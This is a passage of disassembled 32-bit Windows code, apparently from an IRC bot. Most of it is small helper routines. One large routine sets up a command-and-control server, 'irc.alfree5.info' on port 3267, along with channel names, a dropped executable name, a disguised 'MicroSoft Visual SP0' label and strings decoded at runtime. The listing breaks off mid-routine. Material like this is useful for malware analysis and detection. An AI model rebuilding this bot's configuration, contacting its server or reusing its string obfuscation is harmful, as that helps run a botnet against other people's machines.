var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407080
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+32h]
		push	eax
		mov	[esp+1Ch+var_4], 0
		call	sub_40156E
sub_407080	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	dword ptr [esi], offset	off_43F00C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407100	proc near		; CODE XREF: sub_40159Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_4015E1
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_8]
		lea	eax, [esp+4+arg_0]
		mov	[edx+2Ah], ecx
		push	eax
		lea	ecx, [esi+32h]
		call	sub_4014EC
sub_407100	endp

; ---------------------------------------------------------------------------
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407140	proc near		; CODE XREF: sub_401B04j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401AD7
		add	esi, 32h
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_40162C
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4021DF
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40184D
		test	al, al
		jz	short loc_4071BB
		mov	edi, [esp+10h+arg_0]


loc_407183:				; CODE XREF: sub_407140+79j
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401749
		mov	ecx, [eax]
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_4071C5
		call	sub_401F28
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_4021DF
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40184D
		test	al, al
		jnz	short loc_407183


loc_4071BB:				; CODE XREF: sub_407140+3Dj
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_4071C5:				; CODE XREF: sub_407140+5Aj
		call	sub_401749
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_407140	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407210	proc near		; CODE XREF: sub_40221Bj
		xor	al, al
		retn	4
sub_407210	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407230	proc near		; CODE XREF: sub_40156Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40119F
sub_407230	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407270	proc near		; CODE XREF: sub_40162Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401A96
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_4021A8
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_407270	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072B0	proc near		; CODE XREF: sub_4021DFj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_4021A8
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_4072B0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4072E0	proc near		; CODE XREF: sub_4014ECj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4021DF
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4013B6
sub_4072E0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407320	proc near		; CODE XREF: sub_401AD7j
		push	esi
		mov	esi, ecx
		call	sub_401B77
		mov	eax, esi
		pop	esi
		retn
sub_407320	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407340	proc near		; CODE XREF: sub_401749j
		mov	eax, [ecx]
		push	eax
		call	sub_401208
		add	esp, 4
		retn
sub_407340	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407360	proc near		; CODE XREF: sub_401F28j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401A96
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_407360	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407390	proc near		; CODE XREF: sub_40184Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FBE
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_407390	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4073C0	proc near		; CODE XREF: sub_4013B6j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C9E
		mov	edi, eax
		push	edi
		call	sub_401C6C
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40119F
sub_4073C0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401C6C
		push	edi
		mov	[eax], ebx
		call	sub_401C6C
		mov	edi, [eax]
		push	edi
		call	sub_401C6C
		mov	ecx, [eax]
		push	ecx
		call	sub_401A96
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401208
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_40167C
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_4021A8
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407460	proc near		; CODE XREF: sub_40119Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4019D8
sub_407460	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_407475
		mov	edi, esi


loc_407475:				; CODE XREF: ___:00407471j
		push	esi
		call	sub_401A96
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40748A
		mov	edi, esi


loc_40748A:				; CODE XREF: ___:00407486j
		push	esi
		call	sub_401C6C
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074B0	proc near		; CODE XREF: sub_401A96j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_4074B0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074D0	proc near		; CODE XREF: sub_401208j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_4074D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074F0	proc near		; CODE XREF: sub_401B77j
		mov	eax, ecx
		retn
sub_4074F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407510	proc near		; CODE XREF: sub_4021A8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4011E5
		mov	eax, esi
		pop	esi
		retn	4
sub_407510	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407540	proc near		; CODE XREF: sub_401FBEj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_407540	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407570	proc near		; CODE XREF: sub_401C6Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_407570	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407590	proc near		; CODE XREF: sub_4019D8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_407590	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075C0	proc near		; CODE XREF: sub_40167Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40109B
		add	esp, 8
		retn	8
sub_4075C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075F0	proc near		; CODE XREF: sub_4011E5j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4075F0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407610	proc near		; CODE XREF: sub_401C9Ej
		mov	eax, [ecx]
		retn
sub_407610	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407630	proc near		; CODE XREF: sub_401D2Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40763A
		xor	eax, eax


loc_40763A:				; CODE XREF: sub_407630+6j
		push	eax
		call	sub_437AEA
sub_407630	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407660	proc near		; CODE XREF: sub_40109Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40767B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40767B:				; CODE XREF: sub_407660+11j
		retn
sub_407660	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407690	proc near		; CODE XREF: sub_4011CCj

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		retn
sub_407690	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4076B0	proc near		; CODE XREF: sub_401B40j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4076B0
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_4]
		mov	[esp+1Ch+var_4], 0
		call	sub_4017EE
		push	eax
		mov	eax, [esp+20h+arg_0]
		push	0
		push	eax
		mov	ecx, offset word_44ACD6
		call	sub_401B72
sub_4076B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407740	proc near		; CODE XREF: sub_401CD5j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_407740
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_1C]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+20h+arg_4]
		call	sub_4017EE
		push	eax
		mov	eax, [esp+24h+arg_0]
		push	eax
		mov	ecx, offset word_44ACD6
		call	sub_401B72
sub_407740	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+8], 0
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	34h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4077E0	proc near		; CODE XREF: sub_40121Cj

var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= byte ptr -348h
var_330		= byte ptr -330h
var_318		= byte ptr -318h
var_2F4		= byte ptr -2F4h
var_2DC		= byte ptr -2DCh
var_2C4		= byte ptr -2C4h
var_2AC		= byte ptr -2ACh
var_294		= byte ptr -294h
var_27C		= byte ptr -27Ch
var_264		= byte ptr -264h
var_24C		= byte ptr -24Ch
var_234		= byte ptr -234h
var_21C		= byte ptr -21Ch
var_204		= byte ptr -204h
var_1EC		= byte ptr -1ECh
var_1D4		= byte ptr -1D4h
var_1BC		= byte ptr -1BCh
var_1A4		= byte ptr -1A4h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_15C		= byte ptr -15Ch
var_144		= byte ptr -144h
var_114		= byte ptr -114h
var_E4		= byte ptr -0E4h
var_CC		= byte ptr -0CCh
var_B4		= byte ptr -0B4h
var_9C		= byte ptr -9Ch
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4077E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 344h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+35Ch+var_2C4]
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2DC]
		mov	[esp+35Ch+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_174]
		mov	byte ptr [esp+35Ch+var_4], 1
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1A4]
		mov	byte ptr [esp+35Ch+var_4], 2
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2AC]
		mov	byte ptr [esp+35Ch+var_4], 3
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2F4]
		mov	byte ptr [esp+35Ch+var_4], 4
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1D4]
		mov	byte ptr [esp+35Ch+var_4], 5
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_204]
		mov	byte ptr [esp+35Ch+var_4], 6
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_294]
		mov	byte ptr [esp+35Ch+var_4], 7
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_24]
		mov	byte ptr [esp+35Ch+var_4], 8
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_54]
		mov	byte ptr [esp+35Ch+var_4], 9
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_84]
		mov	byte ptr [esp+35Ch+var_4], 0Ah
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_3C]
		mov	byte ptr [esp+35Ch+var_4], 0Bh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_6C]
		mov	byte ptr [esp+35Ch+var_4], 0Ch
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_234]
		mov	byte ptr [esp+35Ch+var_4], 0Dh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_264]
		mov	byte ptr [esp+35Ch+var_4], 0Eh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_E4]
		mov	byte ptr [esp+35Ch+var_4], 0Fh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_15C]
		mov	byte ptr [esp+35Ch+var_4], 10h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_114]
		mov	byte ptr [esp+35Ch+var_4], 11h
		call	sub_40142E
		mov	byte ptr [esp+35Ch+var_4], 12h
		lea	ecx, [esp+35Ch+var_18C]
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_144]
		mov	byte ptr [esp+35Ch+var_4], 13h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1BC]
		mov	byte ptr [esp+35Ch+var_4], 14h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_27C]
		mov	byte ptr [esp+35Ch+var_4], 15h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1EC]
		mov	byte ptr [esp+35Ch+var_4], 16h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_CC]
		mov	byte ptr [esp+35Ch+var_4], 17h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_21C]
		mov	byte ptr [esp+35Ch+var_4], 18h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_B4]
		mov	byte ptr [esp+35Ch+var_4], 19h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_9C]
		mov	byte ptr [esp+35Ch+var_4], 1Ah
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_24C]
		mov	byte ptr [esp+35Ch+var_4], 1Bh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_330]
		mov	byte ptr [esp+35Ch+var_4], 1Ch
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_318]
		mov	byte ptr [esp+35Ch+var_4], 1Dh
		call	sub_40142E
		mov	ebx, 1Eh
		push	offset aIrc_alfree5_in ; "irc.alfree5.info"
		lea	ecx, [esp+360h+var_2C4]
		mov	byte ptr [esp+360h+var_4], bl
		call	sub_401A9B
		push	offset a3267	; "3267"
		lea	ecx, [esp+360h+var_2DC]
		call	sub_401A9B
		push	offset byte_448F30
		lea	ecx, [esp+360h+var_144]
		call	sub_401A9B
		lea	eax, [esp+35Ch+var_2C4]
		lea	ecx, [esp+35Ch+var_174]
		push	eax
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_2DC]
		push	ecx
		lea	ecx, [esp+360h+var_1A4]
		call	sub_40202C
		push	offset byte_448F30
		lea	ecx, [esp+360h+var_1BC]
		call	sub_401A9B
		push	offset aFor_0	; "##for##"
		lea	ecx, [esp+360h+var_2AC]
		call	sub_401A9B
		push	offset aFor	; "##for"
		lea	ecx, [esp+360h+var_24C]
		call	sub_401A9B
		push	offset aXkey	; "Xkey"
		lea	ecx, [esp+360h+var_2F4]
		call	sub_401A9B
		push	offset aIgfsfds_exe ; "igfsfds.exe"
		lea	ecx, [esp+360h+var_1D4]
		call	sub_401A9B
		push	offset aAysklfsdsdsfss ; "aysklfsdsdsfssas"
		lea	ecx, [esp+360h+var_204]
		call	sub_401A9B
		push	offset asc_444834 ; "X-"
		lea	ecx, [esp+360h+var_294]
		call	sub_401A9B
		push	offset aSet	; "set"
		lea	ecx, [esp+360h+var_234]
		call	sub_401A9B
		push	0
		push	4Ah
		push	20h
		push	48h
		push	1Ch
		push	4Bh
		push	46h
		push	4Ah
		push	46h
		push	47h
		push	4Ch
		push	1Fh
		push	48h
		push	1Fh
		push	ebx
		push	1Bh
		push	1Dh
		push	47h
		push	4Bh
		push	47h
		push	ebx
		push	45h
		push	46h
		push	4Ah
		push	48h
		push	ebx
		push	1Dh
		push	1Ch
		push	4Ah
		push	20h
		push	4Ch
		push	4Dh
		lea	edx, [esp+3DCh+var_348]
		push	44h
		push	edx
		call	sub_4019C4
		add	esp, 88h
		push	eax
		lea	ecx, [esp+360h+var_264]
		mov	byte ptr [esp+360h+var_4], 1Fh
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	offset aFeeling_nasty ;	"feeling.nasty"
		lea	ecx, [esp+360h+var_E4]
		call	sub_401A9B
		push	offset aEvil	; "evil"
		lea	ecx, [esp+360h+var_15C]
		call	sub_401A9B
		push	offset aMicrosoftVisua ; "MicroSoft Visual SP0"
		lea	ecx, [esp+360h+var_114]
		call	sub_401A9B
		push	offset dword_4447F8
		lea	ecx, [esp+360h+var_27C]
		call	sub_401A9B
		push	0
		push	4Bh
		push	48h
		push	4Ah
		push	47h
		push	4Ch
		push	48h
		push	4Bh
		push	48h
		push	45h
		lea	eax, [esp+384h+var_348]
		push	46h
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	eax
		lea	ecx, [esp+360h+var_18C]
		mov	byte ptr [esp+360h+var_4], 20h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	0Dh
		push	0Fh
		push	3
		push	4Fh
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	0Dh
		push	4Fh
		push	46h
		push	19h
		push	14h
		push	0Fh
		push	2
		push	12h
		lea	ecx, [esp+3B0h+var_348]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 5Ch
		push	eax
		lea	ecx, [esp+360h+var_1EC]
		mov	byte ptr [esp+360h+var_4], 21h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_CC]
		mov	byte ptr [esp+360h+var_4], 22h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	eax, [esp+36Ch+var_348]
		push	45h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_B4]
		mov	byte ptr [esp+360h+var_4], 23h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	44h
		push	49h
		lea	ecx, [esp+368h+var_348]
		push	46h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		push	eax
		lea	ecx, [esp+360h+var_21C]
		mov	byte ptr [esp+360h+var_4], 24h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_9C]
		mov	byte ptr [esp+360h+var_4], 25h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	15h
		push	12h
		lea	eax, [esp+36Ch+var_348]
		push	14h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_330]
		mov	byte ptr [esp+360h+var_4], 26h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	13h
		push	0Ch
		push	1
		lea	ecx, [esp+370h+var_348]
		push	6
		push	ecx
		call	sub_4019C4
		add	esp, 1Ch
		push	eax
		lea	ecx, [esp+360h+var_318]
		mov	byte ptr [esp+360h+var_4], 27h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		lea	ecx, [esp+35Ch+var_2F4]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+374h+var_34C], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		mov	byte ptr [esp+398h+var_4], 28h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+3D0h+var_348]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+374h+var_4], 29h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+38Ch+var_350], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0FECh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+390h+var_4], 2Ah
		call	sub_401CD5
sub_4077E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 2Bh
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Ch
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+1035h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 2Dh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+80h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+78h]
		push	13h
		push	eax
		mov	byte ptr [esp+3C4h], 2Eh
		call	sub_4019C4
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Fh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
